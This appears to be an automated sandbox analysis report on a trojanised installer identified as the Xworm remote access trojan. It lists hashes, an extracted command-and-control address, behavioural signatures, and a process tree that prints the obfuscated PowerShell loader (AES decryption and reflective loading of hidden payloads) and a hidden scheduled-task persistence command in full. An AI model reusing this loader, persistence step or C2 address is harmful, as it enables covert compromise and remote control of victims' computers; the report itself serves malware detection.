Analysis
-
max time kernel
238s -
max time network
226s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
-
submitted
13-11-2024 05:34
General
-
Target
NLHybrid Installer.exe
-
Size
2.0MB
-
MD5
cf7734eb96e90bb9beb67c4cea3c3c2c
-
SHA1
1695cc75145439634e1beb3b6b568096f0474239
-
SHA256
c5fc6ccc1b183c14888a0a832a52ea7ee37efa0e84f6712aae56101c48da983e
-
SHA512
338ec39d7146e5451acdf563db88df0affda014f67a0fcd012b8e3e3b7a7aa97dc485a3bc2d31dac23d7cac286d7341a34ddd3ac7f1d6d78d5277e2ee6b1132a
-
SSDEEP
24576:HawwKusHwEwSDMn64+uT361idUSeMITCqgcfyr4Py6K22i+i8rtVs1ZY7jQY71M:XwREDDMcuT36AdHeMxWrP+beY7UY71M
Malware Config
Extracted
xworm
high-outline.gl.at.ply.gg:9999
-
Install_directory
%AppData%
-
install_file
windows32upder0x0021.exe
Signatures
-
Detect Xworm Payload 4 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Blocklisted process makes network request 1 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Modifies registry class 16 IoCs
-
Suspicious behavior: EnumeratesProcesses 43 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 63 IoCs
-
Suspicious use of SendNotifyMessage 62 IoCs
-
Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NLHybrid Installer.exe"C:\Users\Admin\AppData\Local\Temp\NLHybrid Installer.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-D8UAL.tmp\NLHybrid Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-D8UAL.tmp\NLHybrid Installer.tmp" /SL5="$501BE,1111535,845824,C:\Users\Admin\AppData\Local\Temp\NLHybrid Installer.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_364_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_364.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_364.vbs"5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_364.bat" "6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_364.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_364.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe"C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe"8⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 32608⤵
- Program crash
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2020 -ip 20201⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5f8634c179c1a738e20815ec466527e78
SHA15ff99194f001b39289485a6c6fa0ba8b5f50aa42
SHA256b97b56e7ceecc7fe39522d3989d98bd233353d0269a7f6517e4a8286b4ed1dc4
SHA512806b40ab4b2cd38140210d1bff3317d51af96008526298aee07e67fa858d5e9646ba594d87a5f22ec5026ee25b93f62d600eb6da92216dfb524b28260fa7388f
-
Filesize
18KB
MD5d35a6072a526f4be648737d44942ec9b
SHA1c98b1b843ab9608b5086767a73345b99d6449965
SHA256bbfb3cac32cda60bc0146605c57995bf1be4053405fe55d38e4ed7269705e416
SHA512f59bafe6ae9f54d3e1b7593363fc30e9ceff9896f52d9ff1cebaf1f4727b1a946e20605fc1112e8342bbb741c098f8869b74ac3012fd9ceffe9deda25736b9cd
-
Filesize
355KB
MD505752d236dc924a1e10ba6e6081b5302
SHA18a85b3864b64ff001b10ab957ddef96caa05fbc7
SHA256f280c213d2bb0de32863411882ef3ebde4db0905850e09ad921563369d9e1d66
SHA51281991e5aa0ebd2a54f33622f1be283b96e0343c78cb15f1595db1418dd28d2a3435120ee268b8bb7bca26592a9bfaa3bd514c8dd3d6a793eaf6979b86ac631f0
-
Filesize
164KB
MD54dd0f50e72bfa4da180d9280c7dcc00d
SHA1a771d2dc5aa65038fbf2053d3e7bb664bda8e1c7
SHA256653659129b2cec88dd5678b486edbcce42e15406090eda1384f8481a550b332c
SHA5128c6475d893c58687e7d06883b32501a0f555ce64df790df323105bb96b2a7841cab34c6cfda0f02985d1aa440d1bcc13b3552fe7d02b057ccabef982b1fd85ad
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD5c31db43de7031d003d528c81517a3958
SHA105d86b48e6873d561e484c134c2e99d6df7215ed
SHA2560d4ee23a50876177908a4f2cd1a4aa4e68e700b059be3c535cd22ca6c5132f82
SHA512dab6939cd0437ded9609d031a618dcb9c92a46b21ac2f97d1c196c852d983f4f1ea54caebb0ca8f09813f7ef9da03d25b502a2429f20300932f57a2923c3135a
-
Filesize
115B
MD542e20023a6b5fcd7b29deb54bb7d9cb2
SHA1c685ae6ec1e89d6d6140ad318d021db26371aacc
SHA256ada99ddef60c7436e68333682dfeaa9f3be24ce9374b2065e1984c939cb6e2e8
SHA512d3174b74d8b3a2d76f4a5c8f7d07cb1c58c81ff9bcb0f5909019fa32f1684a9add508c8292bdb142becd07b207e307d1fbfbc9cb42288da1fd18e6a2ebe1e0d7
-
Filesize
184KB
-
Filesize
68KB
-
Filesize
200KB
-
Filesize
600KB
-
Filesize
40KB
-
Filesize
652KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
184KB
-
Filesize
624KB
-
Filesize
3.3MB
-
Filesize
4KB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
400KB
-
Filesize
5.6MB
-
Filesize
104KB
-
Filesize
6.5MB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
4KB
-
Filesize
136KB
-
Filesize
6.8MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
32KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
216KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
880KB
-
Filesize
672KB
-
Filesize
880KB